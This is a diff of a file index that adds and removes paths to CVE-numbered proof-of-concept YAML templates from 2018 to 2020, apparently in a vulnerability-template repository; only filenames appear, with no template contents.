@@ ./poc/cve/cve-2018-13379-3282.yaml ./poc/cve/cve-2018-13379-3283.yaml ./poc/cve/cve-2018-13379-3284.yaml +./poc/cve/cve-2018-13380-3285.yaml ./poc/cve/cve-2018-13380-3286.yaml ./poc/cve/cve-2018-13380-3287.yaml ./poc/cve/cve-2018-13380-3288.yaml @@ -38817,6 +39056,8 @@ ./poc/cve/cve-2018-14728-3312.yaml ./poc/cve/cve-2018-14728-3313.yaml ./poc/cve/cve-2018-14728-3314.yaml +./poc/cve/cve-2018-14728.yaml +./poc/cve/cve-2018-14912-3315.yaml ./poc/cve/cve-2018-14912-3316.yaml ./poc/cve/cve-2018-14912-3317.yaml ./poc/cve/cve-2018-14916-3318.yaml @@ -38825,7 +39066,6 @@ ./poc/cve/cve-2018-14918-3322.yaml ./poc/cve/cve-2018-14931-3323.yaml ./poc/cve/cve-2018-14931-3324.yaml -./poc/cve/cve-2018-14931-3325.yaml ./poc/cve/cve-2018-15138-3326.yaml ./poc/cve/cve-2018-15138-3327.yaml ./poc/cve/cve-2018-15138-3328.yaml @@ -38850,6 +39090,7 @@ ./poc/cve/cve-2018-15961-3347.yaml ./poc/cve/cve-2018-15961-3348.yaml ./poc/cve/cve-2018-15961-3349.yaml +./poc/cve/cve-2018-16059-3350.yaml ./poc/cve/cve-2018-16059-3351.yaml ./poc/cve/cve-2018-16059-3352.yaml ./poc/cve/cve-2018-16059-3353.yaml @@ -38857,6 +39098,7 @@ ./poc/cve/cve-2018-16133-3355.yaml ./poc/cve/cve-2018-16133-3356.yaml ./poc/cve/cve-2018-16133-3357.yaml +./poc/cve/cve-2018-16133-3358.yaml ./poc/cve/cve-2018-16167-3359.yaml ./poc/cve/cve-2018-16167-3360.yaml ./poc/cve/cve-2018-16167-3361.yaml @@ -38870,6 +39112,7 @@ ./poc/cve/cve-2018-16299-3370.yaml ./poc/cve/cve-2018-16299-3371.yaml ./poc/cve/cve-2018-16299-3372.yaml +./poc/cve/cve-2018-16299-3373.yaml ./poc/cve/cve-2018-16299-3374.yaml ./poc/cve/cve-2018-16299-3375.yaml ./poc/cve/cve-2018-16341-3376.yaml @@ -38901,6 +39144,7 @@ ./poc/cve/cve-2018-16763-3402.yaml ./poc/cve/cve-2018-16763-3403.yaml ./poc/cve/cve-2018-16763-3404.yaml +./poc/cve/cve-2018-16763.yaml ./poc/cve/cve-2018-16836-3405.yaml ./poc/cve/cve-2018-16836-3406.yaml ./poc/cve/cve-2018-16836-3407.yaml @@ -38919,7 +39163,6 @@ ./poc/cve/cve-2018-17422-3420.yaml ./poc/cve/cve-2018-17422-3421.yaml ./poc/cve/cve-2018-17431-3422.yaml -./poc/cve/cve-2018-17431-3423.yaml ./poc/cve/cve-2018-17431-3424.yaml ./poc/cve/cve-2018-18069-3425.yaml ./poc/cve/cve-2018-18069-3426.yaml @@ -38935,11 +39178,11 @@ ./poc/cve/cve-2018-18323-3436.yaml ./poc/cve/cve-2018-18323-3437.yaml ./poc/cve/cve-2018-18323-3438.yaml -./poc/cve/cve-2018-18323-3439.yaml ./poc/cve/cve-2018-18326-3441.yaml ./poc/cve/cve-2018-18326-3442.yaml ./poc/cve/cve-2018-18570-3444.yaml ./poc/cve/cve-2018-18570-3445.yaml +./poc/cve/cve-2018-18775-3446.yaml ./poc/cve/cve-2018-18775-3447.yaml ./poc/cve/cve-2018-18775-3448.yaml ./poc/cve/cve-2018-18775-3449.yaml @@ -38955,7 +39198,6 @@ ./poc/cve/cve-2018-18778-3459.yaml ./poc/cve/cve-2018-18778-3460.yaml ./poc/cve/cve-2018-18925-3461.yaml -./poc/cve/cve-2018-18925-3462.yaml ./poc/cve/cve-2018-19326-3463.yaml ./poc/cve/cve-2018-19326-3464.yaml ./poc/cve/cve-2018-19326-3465.yaml @@ -38966,6 +39208,7 @@ ./poc/cve/cve-2018-19386-3471.yaml ./poc/cve/cve-2018-19386-3472.yaml ./poc/cve/cve-2018-19386-3473.yaml +./poc/cve/cve-2018-19386.yaml ./poc/cve/cve-2018-19439-3474.yaml ./poc/cve/cve-2018-19439-3475.yaml ./poc/cve/cve-2018-19439-3476.yaml @@ -38981,9 +39224,10 @@ ./poc/cve/cve-2018-19752(1).yaml ./poc/cve/cve-2018-19753-3486.yaml ./poc/cve/cve-2018-19753-3487.yaml +./poc/cve/cve-2018-19753-3488.yaml ./poc/cve/cve-2018-19877(1).yaml -./poc/cve/cve-2018-19892(1).yaml -./poc/cve/cve-2018-19915(1).yaml +./poc/cve/cve-2018-19914(1).yaml +./poc/cve/cve-2018-20009(1).yaml ./poc/cve/cve-2018-20010(1).yaml ./poc/cve/cve-2018-20062-3489.yaml ./poc/cve/cve-2018-20062-3490.yaml @@ -39003,6 +39247,7 @@ ./poc/cve/cve-2018-20824-3504.yaml ./poc/cve/cve-2018-20985-3505.yaml ./poc/cve/cve-2018-20985-3506.yaml +./poc/cve/cve-2018-20985-3507.yaml ./poc/cve/cve-2018-2392-3508.yaml ./poc/cve/cve-2018-2392-3509.yaml ./poc/cve/cve-2018-2392-3510.yaml @@ -39073,7 +39318,6 @@ ./poc/cve/cve-2018-6008-3571.yaml ./poc/cve/cve-2018-6008-3572.yaml ./poc/cve/cve-2018-6008-3573.yaml -./poc/cve/cve-2018-6008-3574.yaml ./poc/cve/cve-2018-6008-3575.yaml ./poc/cve/cve-2018-6200-3576.yaml ./poc/cve/cve-2018-6200-3577.yaml @@ -39085,6 +39329,7 @@ ./poc/cve/cve-2018-6910-3583.yaml ./poc/cve/cve-2018-6910-3584.yaml ./poc/cve/cve-2018-6910-3586.yaml +./poc/cve/cve-2018-7251-3587.yaml ./poc/cve/cve-2018-7251-3588.yaml ./poc/cve/cve-2018-7251-3589.yaml ./poc/cve/cve-2018-7251-3590.yaml @@ -39114,7 +39359,6 @@ ./poc/cve/cve-2018-7602-3614.yaml ./poc/cve/cve-2018-7602-3615.yaml ./poc/cve/cve-2018-7662-3616.yaml -./poc/cve/cve-2018-7662-3617.yaml ./poc/cve/cve-2018-7700-3619.yaml ./poc/cve/cve-2018-7700-3620.yaml ./poc/cve/cve-2018-7700-3621.yaml @@ -39140,6 +39384,7 @@ ./poc/cve/cve-2018-8719-3642.yaml ./poc/cve/cve-2018-8727-3643.yaml ./poc/cve/cve-2018-8727-3644.yaml +./poc/cve/cve-2018-8727-3645.yaml ./poc/cve/cve-2018-8727-3646.yaml ./poc/cve/cve-2018-8770-3647.yaml ./poc/cve/cve-2018-8770-3648.yaml @@ -39153,7 +39398,6 @@ ./poc/cve/cve-2018-9126-3656.yaml ./poc/cve/cve-2018-9126-3657.yaml ./poc/cve/cve-2018-9161-3659.yaml -./poc/cve/cve-2018-9205-3660.yaml ./poc/cve/cve-2018-9205-3661.yaml ./poc/cve/cve-2018-9205-3662.yaml ./poc/cve/cve-2018-9205-3663.yaml @@ -39163,7 +39407,7 @@ ./poc/cve/cve-2018-9995-3667.yaml ./poc/cve/cve-2018-9995-3668.yaml ./poc/cve/cve-2018-9995-3669.yaml -./poc/cve/cve-2018–14064(1).yaml +./poc/cve/cve-2018–14064.yaml ./poc/cve/cve-2019-0193-3670.yaml ./poc/cve/cve-2019-0193-3671.yaml ./poc/cve/cve-2019-0193-3672.yaml @@ -39195,7 +39439,6 @@ ./poc/cve/cve-2019-1010287-3697.yaml ./poc/cve/cve-2019-1010287-3698.yaml ./poc/cve/cve-2019-1010290-3699.yaml -./poc/cve/cve-2019-1010290-3700.yaml ./poc/cve/cve-2019-1010290-3701.yaml ./poc/cve/cve-2019-1010290-3702.yaml ./poc/cve/cve-2019-10232-3703.yaml @@ -39210,7 +39453,7 @@ ./poc/cve/cve-2019-10475-3712.yaml ./poc/cve/cve-2019-10475-3713.yaml ./poc/cve/cve-2019-10475-3714.yaml -./poc/cve/cve-2019-10717(1).yaml +./poc/cve/cve-2019-10692(1).yaml ./poc/cve/cve-2019-10758-3716.yaml ./poc/cve/cve-2019-10758-3717.yaml ./poc/cve/cve-2019-10758-3718.yaml @@ -39260,6 +39503,7 @@ ./poc/cve/cve-2019-11869-3761.yaml ./poc/cve/cve-2019-11869-3762.yaml ./poc/cve/cve-2019-11869-3763.yaml +./poc/cve/cve-2019-11869-3764.yaml ./poc/cve/cve-2019-12276-3765.yaml ./poc/cve/cve-2019-12276-3766.yaml ./poc/cve/cve-2019-12276-3767.yaml @@ -39273,7 +39517,6 @@ ./poc/cve/cve-2019-12314-3775.yaml ./poc/cve/cve-2019-12314-3776.yaml ./poc/cve/cve-2019-12314-3777.yaml -./poc/cve/cve-2019-12314.yaml ./poc/cve/cve-2019-12461-3778.yaml ./poc/cve/cve-2019-12461-3779.yaml ./poc/cve/cve-2019-12461-3780.yaml @@ -39281,7 +39524,6 @@ ./poc/cve/cve-2019-12461-3782.yaml ./poc/cve/cve-2019-12461-3783.yaml ./poc/cve/cve-2019-12581(1).yaml -./poc/cve/cve-2019-12583(1).yaml ./poc/cve/cve-2019-12583-3784.yaml ./poc/cve/cve-2019-12593-1.yaml ./poc/cve/cve-2019-12593-2.yaml @@ -39302,6 +39544,7 @@ ./poc/cve/cve-2019-12725-3799.yaml ./poc/cve/cve-2019-12725-3800.yaml ./poc/cve/cve-2019-12725-3801.yaml +./poc/cve/cve-2019-13101-3802.yaml ./poc/cve/cve-2019-13101-3803.yaml ./poc/cve/cve-2019-13101-3804.yaml ./poc/cve/cve-2019-13101-3805.yaml @@ -39311,6 +39554,7 @@ ./poc/cve/cve-2019-13392-3809.yaml ./poc/cve/cve-2019-13392-3810.yaml ./poc/cve/cve-2019-13396-3811.yaml +./poc/cve/cve-2019-13396-3812.yaml ./poc/cve/cve-2019-13396-3813.yaml ./poc/cve/cve-2019-13396-3814.yaml ./poc/cve/cve-2019-13396-3815.yaml @@ -39335,6 +39579,7 @@ ./poc/cve/cve-2019-14223-3835.yaml ./poc/cve/cve-2019-14223-3836.yaml ./poc/cve/cve-2019-14223.yaml +./poc/cve/cve-2019-14251(1).yaml ./poc/cve/cve-2019-14251-3837.yaml ./poc/cve/cve-2019-14251-3838.yaml ./poc/cve/cve-2019-14312-3839.yaml @@ -39352,12 +39597,12 @@ ./poc/cve/cve-2019-14322-3848.yaml ./poc/cve/cve-2019-14322-3849.yaml ./poc/cve/cve-2019-14322-3850.yaml +./poc/cve/cve-2019-14322.yaml ./poc/cve/cve-2019-14470-3851.yaml ./poc/cve/cve-2019-14470-3852.yaml ./poc/cve/cve-2019-14470-3853.yaml ./poc/cve/cve-2019-14470-3854.yaml ./poc/cve/cve-2019-14470-3855.yaml -./poc/cve/cve-2019-14470.yaml ./poc/cve/cve-2019-14696-3856.yaml ./poc/cve/cve-2019-14696-3857.yaml ./poc/cve/cve-2019-14696-3858.yaml @@ -39391,6 +39636,7 @@ ./poc/cve/cve-2019-15713-3885.yaml ./poc/cve/cve-2019-15713-3886.yaml ./poc/cve/cve-2019-15713-3887.yaml +./poc/cve/cve-2019-15811(1).yaml ./poc/cve/cve-2019-15858-3888.yaml ./poc/cve/cve-2019-15858-3889.yaml ./poc/cve/cve-2019-15858-3890.yaml @@ -39439,6 +39685,7 @@ ./poc/cve/cve-2019-16332-3931.yaml ./poc/cve/cve-2019-16332-3932.yaml ./poc/cve/cve-2019-16332-3933.yaml +./poc/cve/cve-2019-16332-3934.yaml ./poc/cve/cve-2019-16525-3935.yaml ./poc/cve/cve-2019-16525-3936.yaml ./poc/cve/cve-2019-16525-3937.yaml @@ -39463,6 +39710,7 @@ ./poc/cve/cve-2019-16759-3955.yaml ./poc/cve/cve-2019-16759-3956.yaml ./poc/cve/cve-2019-16759-3957.yaml +./poc/cve/cve-2019-16759.yaml ./poc/cve/cve-2019-16920-1.yaml ./poc/cve/cve-2019-16920-2.yaml ./poc/cve/cve-2019-16920-3958.yaml @@ -39470,12 +39718,10 @@ ./poc/cve/cve-2019-16920-3960.yaml ./poc/cve/cve-2019-16920-3961.yaml ./poc/cve/cve-2019-16920-3962.yaml -./poc/cve/cve-2019-16931(1).yaml ./poc/cve/cve-2019-16931-3963.yaml ./poc/cve/cve-2019-16932-3964.yaml ./poc/cve/cve-2019-16996(1).yaml ./poc/cve/cve-2019-16996-3965.yaml -./poc/cve/cve-2019-16997-3966.yaml ./poc/cve/cve-2019-16997-3967.yaml ./poc/cve/cve-2019-16997-3968.yaml ./poc/cve/cve-2019-17270-3969.yaml @@ -39496,7 +39742,6 @@ ./poc/cve/cve-2019-17418-3981.yaml ./poc/cve/cve-2019-17418-3982.yaml ./poc/cve/cve-2019-17444-3983.yaml -./poc/cve/cve-2019-17444-3984.yaml ./poc/cve/cve-2019-17503-1.yaml ./poc/cve/cve-2019-17503-2.yaml ./poc/cve/cve-2019-17503-3985.yaml @@ -39516,10 +39761,8 @@ ./poc/cve/cve-2019-17558-4000.yaml ./poc/cve/cve-2019-17558-4001.yaml ./poc/cve/cve-2019-17558-4002.yaml -./poc/cve/cve-2019-17558.yaml ./poc/cve/cve-2019-1821-4003.yaml ./poc/cve/cve-2019-1821-4004.yaml -./poc/cve/cve-2019-18371(1).yaml ./poc/cve/cve-2019-18371-4005.yaml ./poc/cve/cve-2019-18393-4006.yaml ./poc/cve/cve-2019-18393-4007.yaml @@ -39545,7 +39788,6 @@ ./poc/cve/cve-2019-18922-4028.yaml ./poc/cve/cve-2019-19134-4029.yaml ./poc/cve/cve-2019-19134-4030.yaml -./poc/cve/cve-2019-19134-4031.yaml ./poc/cve/cve-2019-19134-4032.yaml ./poc/cve/cve-2019-19368-4033.yaml ./poc/cve/cve-2019-19368-4034.yaml @@ -39588,7 +39830,6 @@ ./poc/cve/cve-2019-20085-4071.yaml ./poc/cve/cve-2019-20085-4072.yaml ./poc/cve/cve-2019-20085-4073.yaml -./poc/cve/cve-2019-20085-4074.yaml ./poc/cve/cve-2019-20141-1.yaml ./poc/cve/cve-2019-20141-2.yaml ./poc/cve/cve-2019-20141-4075.yaml @@ -39623,7 +39864,6 @@ ./poc/cve/cve-2019-2588-4098.yaml ./poc/cve/cve-2019-2588-4099.yaml ./poc/cve/cve-2019-2588-4100.yaml -./poc/cve/cve-2019-2616(1).yaml ./poc/cve/cve-2019-2616-4101.yaml ./poc/cve/cve-2019-2616-4102.yaml ./poc/cve/cve-2019-2616-4103.yaml @@ -39699,7 +39939,6 @@ ./poc/cve/cve-2019-5418-4169.yaml ./poc/cve/cve-2019-5418-4170.yaml ./poc/cve/cve-2019-5418-4171.yaml -./poc/cve/cve-2019-5418.yaml ./poc/cve/cve-2019-6112-4172.yaml ./poc/cve/cve-2019-6112-4173.yaml ./poc/cve/cve-2019-6112-4174.yaml @@ -39720,11 +39959,11 @@ ./poc/cve/cve-2019-6715-4189.yaml ./poc/cve/cve-2019-6715-4190.yaml ./poc/cve/cve-2019-6715-4191.yaml -./poc/cve/cve-2019-7192-4192.yaml ./poc/cve/cve-2019-7192-4193.yaml ./poc/cve/cve-2019-7192-4194.yaml ./poc/cve/cve-2019-7219-4195.yaml ./poc/cve/cve-2019-7219-4196.yaml +./poc/cve/cve-2019-7219-4197.yaml ./poc/cve/cve-2019-7219-4198.yaml ./poc/cve/cve-2019-7219-4199.yaml ./poc/cve/cve-2019-7219-4200.yaml @@ -39753,15 +39992,16 @@ ./poc/cve/cve-2019-7275-4221.yaml ./poc/cve/cve-2019-7275-4222.yaml ./poc/cve/cve-2019-7275-4223.yaml -./poc/cve/cve-2019-7315(1).yaml ./poc/cve/cve-2019-7315-4224.yaml ./poc/cve/cve-2019-7315-4225.yaml ./poc/cve/cve-2019-7481-4226.yaml ./poc/cve/cve-2019-7481-4227.yaml +./poc/cve/cve-2019-7481-4228.yaml ./poc/cve/cve-2019-7481-4229.yaml ./poc/cve/cve-2019-7481-4230.yaml ./poc/cve/cve-2019-7543-1.yaml ./poc/cve/cve-2019-7543-2.yaml +./poc/cve/cve-2019-7543-4231.yaml ./poc/cve/cve-2019-7543-4232.yaml ./poc/cve/cve-2019-7609-4233.yaml ./poc/cve/cve-2019-7609-4234.yaml @@ -39806,6 +40046,7 @@ ./poc/cve/cve-2019-8903-4271.yaml ./poc/cve/cve-2019-8903-4272.yaml ./poc/cve/cve-2019-8903-4273.yaml +./poc/cve/cve-2019-8903.yaml ./poc/cve/cve-2019-8937-4274.yaml ./poc/cve/cve-2019-8937-4275.yaml ./poc/cve/cve-2019-8937-4276.yaml @@ -39818,6 +40059,7 @@ ./poc/cve/cve-2019-8982-4283.yaml ./poc/cve/cve-2019-8982-4284.yaml ./poc/cve/cve-2019-8982-4285.yaml +./poc/cve/cve-2019-8982.yaml ./poc/cve/cve-2019-9041-4286.yaml ./poc/cve/cve-2019-9041-4287.yaml ./poc/cve/cve-2019-9041-4288.yaml @@ -39853,6 +40095,7 @@ ./poc/cve/cve-2019-9733-4316.yaml ./poc/cve/cve-2019-9733.yaml ./poc/cve/cve-2019-9915-4317.yaml +./poc/cve/cve-2019-9922(1).yaml ./poc/cve/cve-2019-9922-4318.yaml ./poc/cve/cve-2019-9922-4319.yaml ./poc/cve/cve-2019-9955-4320.yaml @@ -39894,7 +40137,6 @@ ./poc/cve/cve-2020-10220-4354.yaml ./poc/cve/cve-2020-10220-4355.yaml ./poc/cve/cve-2020-10220-4356.yaml -./poc/cve/cve-2020-10220.yaml ./poc/cve/cve-2020-10546-4357.yaml ./poc/cve/cve-2020-10546-4358.yaml ./poc/cve/cve-2020-10546-4359.yaml @@ -39917,7 +40159,6 @@ ./poc/cve/cve-2020-10549-4376.yaml ./poc/cve/cve-2020-10549-4377.yaml ./poc/cve/cve-2020-10549-4378.yaml -./poc/cve/cve-2020-10549-4379.yaml ./poc/cve/cve-2020-10770-4380.yaml ./poc/cve/cve-2020-10770-4381.yaml ./poc/cve/cve-2020-10770-4382.yaml @@ -39932,6 +40173,7 @@ ./poc/cve/cve-2020-11110-4390.yaml ./poc/cve/cve-2020-11110-4391.yaml ./poc/cve/cve-2020-11110-4392.yaml +./poc/cve/cve-2020-11110-4393.yaml ./poc/cve/cve-2020-11110-4394.yaml ./poc/cve/cve-2020-11450-4395.yaml ./poc/cve/cve-2020-11450-4396.yaml @@ -39952,7 +40194,6 @@ ./poc/cve/cve-2020-11530-4410.yaml ./poc/cve/cve-2020-11530-4411.yaml ./poc/cve/cve-2020-11530-4412.yaml -./poc/cve/cve-2020-11530.yaml ./poc/cve/cve-2020-11546-4413.yaml ./poc/cve/cve-2020-11546-4414.yaml ./poc/cve/cve-2020-11547-1.yaml @@ -39990,6 +40231,7 @@ ./poc/cve/cve-2020-11854-4441.yaml ./poc/cve/cve-2020-11854-4442.yaml ./poc/cve/cve-2020-11854-4443.yaml +./poc/cve/cve-2020-11854.yaml ./poc/cve/cve-2020-11930-4444.yaml ./poc/cve/cve-2020-11930-4445.yaml ./poc/cve/cve-2020-11930-4446.yaml @@ -40035,7 +40277,6 @@ ./poc/cve/cve-2020-12800-4486.yaml ./poc/cve/cve-2020-12800-4487.yaml ./poc/cve/cve-2020-12800-4488.yaml -./poc/cve/cve-2020-13117-4489.yaml ./poc/cve/cve-2020-13117-4490.yaml ./poc/cve/cve-2020-13117-4491.yaml ./poc/cve/cve-2020-13121(1).yaml @@ -40064,7 +40305,6 @@ ./poc/cve/cve-2020-13700-4510.yaml ./poc/cve/cve-2020-13700-4511.yaml ./poc/cve/cve-2020-13700-4512.yaml -./poc/cve/cve-2020-13700-4513.yaml ./poc/cve/cve-2020-13927-4514.yaml ./poc/cve/cve-2020-13927-4515.yaml ./poc/cve/cve-2020-13927-4516.yaml @@ -40083,9 +40323,9 @@ ./poc/cve/cve-2020-13942-4530.yaml ./poc/cve/cve-2020-13942-4531.yaml ./poc/cve/cve-2020-13942-4532.yaml +./poc/cve/cve-2020-13942.yaml ./poc/cve/cve-2020-13945-4533.yaml ./poc/cve/cve-2020-13945-4534.yaml -./poc/cve/cve-2020-13945-4535.yaml ./poc/cve/cve-2020-14092-4536.yaml ./poc/cve/cve-2020-14092-4537.yaml ./poc/cve/cve-2020-14092-4538.yaml @@ -40101,7 +40341,6 @@ ./poc/cve/cve-2020-14181-4549.yaml ./poc/cve/cve-2020-14181-4550.yaml ./poc/cve/cve-2020-14181-4551.yaml -./poc/cve/cve-2020-14181.yaml ./poc/cve/cve-2020-14408(1).yaml ./poc/cve/cve-2020-14413-4552.yaml ./poc/cve/cve-2020-14413-4553.yaml @@ -40116,7 +40355,6 @@ ./poc/cve/cve-2020-14815-4561.yaml ./poc/cve/cve-2020-14815-4562.yaml ./poc/cve/cve-2020-14815-4563.yaml -./poc/cve/cve-2020-14864(1).yaml ./poc/cve/cve-2020-14864-4564.yaml ./poc/cve/cve-2020-14864-4565.yaml ./poc/cve/cve-2020-14864-4566.yaml @@ -40134,6 +40372,7 @@ ./poc/cve/cve-2020-14882-4577.yaml ./poc/cve/cve-2020-14882-4578.yaml ./poc/cve/cve-2020-14882-4579.yaml +./poc/cve/cve-2020-14882.yaml ./poc/cve/cve-2020-14883-1.yaml ./poc/cve/cve-2020-14883-2.yaml ./poc/cve/cve-2020-14883-4580.yaml @@ -40154,6 +40393,7 @@ ./poc/cve/cve-2020-15129-4596.yaml ./poc/cve/cve-2020-15129-4597.yaml ./poc/cve/cve-2020-15129-4598.yaml +./poc/cve/cve-2020-15129.yaml ./poc/cve/cve-2020-15148-4599.yaml ./poc/cve/cve-2020-15148-4600.yaml ./poc/cve/cve-2020-15148-4601.yaml @@ -40163,6 +40403,7 @@ ./poc/cve/cve-2020-15227-4605.yaml ./poc/cve/cve-2020-15227-4606.yaml ./poc/cve/cve-2020-15227-4607.yaml +./poc/cve/cve-2020-15227.yaml ./poc/cve/cve-2020-15500-4608.yaml ./poc/cve/cve-2020-15500-4609.yaml ./poc/cve/cve-2020-15500-4610.yaml @@ -40186,7 +40427,6 @@ ./poc/cve/cve-2020-15920-4627.yaml ./poc/cve/cve-2020-15920-4628.yaml ./poc/cve/cve-2020-15920-4629.yaml -./poc/cve/cve-2020-15920.yaml ./poc/cve/cve-2020-16139-4630.yaml ./poc/cve/cve-2020-16139-4631.yaml ./poc/cve/cve-2020-16139-4632.yaml @@ -40194,6 +40434,7 @@ ./poc/cve/cve-2020-16139-4634.yaml ./poc/cve/cve-2020-16139-4635.yaml ./poc/cve/cve-2020-16139-4636.yaml +./poc/cve/cve-2020-16139.yaml ./poc/cve/cve-2020-16270-4637.yaml ./poc/cve/cve-2020-16270-4638.yaml ./poc/cve/cve-2020-16270-4639.yaml @@ -40203,6 +40444,7 @@ ./poc/cve/cve-2020-16846-4644.yaml ./poc/cve/cve-2020-16846-4645.yaml ./poc/cve/cve-2020-16846-4646.yaml +./poc/cve/cve-2020-16920-4647.yaml ./poc/cve/cve-2020-16920-4648.yaml ./poc/cve/cve-2020-16952-4649.yaml ./poc/cve/cve-2020-16952-4650.yaml @@ -40210,6 +40452,7 @@ ./poc/cve/cve-2020-16952-4652.yaml ./poc/cve/cve-2020-16952-4653.yaml ./poc/cve/cve-2020-16952-4654.yaml +./poc/cve/cve-2020-16952.yaml ./poc/cve/cve-2020-17362-4655.yaml ./poc/cve/cve-2020-17362-4656.yaml ./poc/cve/cve-2020-17362-4657.yaml @@ -40274,6 +40517,7 @@ ./poc/cve/cve-2020-1938-4717.yaml ./poc/cve/cve-2020-1943-4718.yaml ./poc/cve/cve-2020-1943-4719.yaml +./poc/cve/cve-2020-1943-4720.yaml ./poc/cve/cve-2020-1943-4721.yaml ./poc/cve/cve-2020-1943-4722.yaml ./poc/cve/cve-2020-19625-4723.yaml @@ -40300,7 +40544,6 @@ ./poc/cve/cve-2020-20982-4741.yaml ./poc/cve/cve-2020-20982-4742.yaml ./poc/cve/cve-2020-20982-4743.yaml -./poc/cve/cve-2020-20988(1).yaml ./poc/cve/cve-2020-2103-4744.yaml ./poc/cve/cve-2020-2103-4745.yaml ./poc/cve/cve-2020-2103-4746.yaml @@ -40319,16 +40562,16 @@ ./poc/cve/cve-2020-2199-4757.yaml ./poc/cve/cve-2020-2199-4758.yaml ./poc/cve/cve-2020-2199-4759.yaml +./poc/cve/cve-2020-22208(1).yaml ./poc/cve/cve-2020-22209(1).yaml +./poc/cve/cve-2020-22210(1).yaml ./poc/cve/cve-2020-22210-4760.yaml -./poc/cve/cve-2020-22210.yaml ./poc/cve/cve-2020-22840-4761.yaml ./poc/cve/cve-2020-22840-4763.yaml ./poc/cve/cve-2020-22840-4764.yaml ./poc/cve/cve-2020-22840-4765.yaml ./poc/cve/cve-2020-22840-4766.yaml ./poc/cve/cve-2020-22840-4767.yaml -./poc/cve/cve-2020-22840.yaml ./poc/cve/cve-2020-23015-4769.yaml ./poc/cve/cve-2020-23015-4770.yaml ./poc/cve/cve-2020-23015-4771.yaml @@ -40339,7 +40582,6 @@ ./poc/cve/cve-2020-23517-4776.yaml ./poc/cve/cve-2020-23517-4777.yaml ./poc/cve/cve-2020-23517-4778.yaml -./poc/cve/cve-2020-23517.yaml ./poc/cve/cve-2020-23575-4779.yaml ./poc/cve/cve-2020-23575-4780.yaml ./poc/cve/cve-2020-23575-4781.yaml @@ -40351,7 +40593,6 @@ ./poc/cve/cve-2020-23972-4785.yaml ./poc/cve/cve-2020-23972-4786.yaml ./poc/cve/cve-2020-23972-4787.yaml -./poc/cve/cve-2020-24148-4788.yaml ./poc/cve/cve-2020-24148-4789.yaml ./poc/cve/cve-2020-24148-4790.yaml ./poc/cve/cve-2020-24148-4791.yaml @@ -40389,6 +40630,7 @@ ./poc/cve/cve-2020-24571-4823.yaml ./poc/cve/cve-2020-24571-4824.yaml ./poc/cve/cve-2020-24571-4825.yaml +./poc/cve/cve-2020-24571-4826.yaml ./poc/cve/cve-2020-24579-4827.yaml ./poc/cve/cve-2020-24579-4828.yaml ./poc/cve/cve-2020-24579-4829.yaml @@ -40462,7 +40704,6 @@ ./poc/cve/cve-2020-25780-4893.yaml ./poc/cve/cve-2020-25780-4894.yaml ./poc/cve/cve-2020-25780-4895.yaml -./poc/cve/cve-2020-25864-4896.yaml ./poc/cve/cve-2020-25864-4897.yaml ./poc/cve/cve-2020-25864-4898.yaml ./poc/cve/cve-2020-26067-4899.yaml @@ -40542,13 +40783,11 @@ ./poc/cve/cve-2020-28208-4980.yaml ./poc/cve/cve-2020-28351-4981.yaml ./poc/cve/cve-2020-28351-4982.yaml -./poc/cve/cve-2020-28351-4983.yaml ./poc/cve/cve-2020-28351-4984.yaml ./poc/cve/cve-2020-28871-4985.yaml ./poc/cve/cve-2020-28871-4986.yaml ./poc/cve/cve-2020-28871-4987.yaml ./poc/cve/cve-2020-28871-4988.yaml -./poc/cve/cve-2020-28976-4989.yaml ./poc/cve/cve-2020-28976-4990.yaml ./poc/cve/cve-2020-28976-4991.yaml ./poc/cve/cve-2020-29164-4992.yaml @@ -40559,24 +40798,26 @@ ./poc/cve/cve-2020-29164-4997.yaml ./poc/cve/cve-2020-29227-4998.yaml ./poc/cve/cve-2020-29227-4999.yaml -./poc/cve/cve-2020-29227-5000.yaml ./poc/cve/cve-2020-29227-5001.yaml ./poc/cve/cve-2020-29395-5002.yaml ./poc/cve/cve-2020-29395-5003.yaml ./poc/cve/cve-2020-29395-5004.yaml ./poc/cve/cve-2020-29395-5005.yaml ./poc/cve/cve-2020-29395-5006.yaml +./poc/cve/cve-2020-29395.yaml ./poc/cve/cve-2020-29453-1.yaml ./poc/cve/cve-2020-29453-5007.yaml ./poc/cve/cve-2020-29453-5008.yaml ./poc/cve/cve-2020-29453-5009.yaml ./poc/cve/cve-2020-29453-5010.yaml +./poc/cve/cve-2020-29597(1).yaml ./poc/cve/cve-2020-3187-5011.yaml ./poc/cve/cve-2020-3187-5012.yaml ./poc/cve/cve-2020-3187-5014.yaml ./poc/cve/cve-2020-3187-5015.yaml ./poc/cve/cve-2020-3187-5016.yaml ./poc/cve/cve-2020-3187-5017.yaml +./poc/cve/cve-2020-3452(1).yaml ./poc/cve/cve-2020-3452-1.yaml ./poc/cve/cve-2020-3452-2.yaml ./poc/cve/cve-2020-3452-5018.yaml @@ -40588,7 +40829,6 @@ ./poc/cve/cve-2020-3452-5024.yaml ./poc/cve/cve-2020-3452.yaml ./poc/cve/cve-2020-35234-5025.yaml -./poc/cve/cve-2020-35234-5026.yaml ./poc/cve/cve-2020-35338-5027.yaml ./poc/cve/cve-2020-35338-5028.yaml ./poc/cve/cve-2020-35338-5029.yaml @@ -40626,7 +40866,6 @@ ./poc/cve/cve-2020-35729-5062.yaml ./poc/cve/cve-2020-35729-5063.yaml ./poc/cve/cve-2020-35729-5064.yaml -./poc/cve/cve-2020-35729-5065.yaml ./poc/cve/cve-2020-35736-5066.yaml ./poc/cve/cve-2020-35736-5067.yaml ./poc/cve/cve-2020-35736-5068.yaml @@ -40636,6 +40875,7 @@ ./poc/cve/cve-2020-35736-5072.yaml ./poc/cve/cve-2020-35749-5073.yaml ./poc/cve/cve-2020-35749-5074.yaml +./poc/cve/cve-2020-35774-5076.yaml ./poc/cve/cve-2020-35774-5077.yaml ./poc/cve/cve-2020-35774-5078.yaml ./poc/cve/cve-2020-35774-5079.yaml @@ -40644,7 +40884,6 @@ ./poc/cve/cve-2020-35774-5082.yaml ./poc/cve/cve-2020-3580-5083.yaml ./poc/cve/cve-2020-3580-5084.yaml -./poc/cve/cve-2020-3580-5085.yaml ./poc/cve/cve-2020-3580-5086.yaml ./poc/cve/cve-2020-3580-5087.yaml ./poc/cve/cve-2020-35846-5088.yaml @@ -40652,6 +40891,7 @@ ./poc/cve/cve-2020-35846-5091.yaml ./poc/cve/cve-2020-35846-5092.yaml ./poc/cve/cve-2020-35846-5093.yaml +./poc/cve/cve-2020-35847-5094.yaml ./poc/cve/cve-2020-35847-5095.yaml ./poc/cve/cve-2020-35847-5096.yaml ./poc/cve/cve-2020-35847-5097.yaml @@ -40686,7 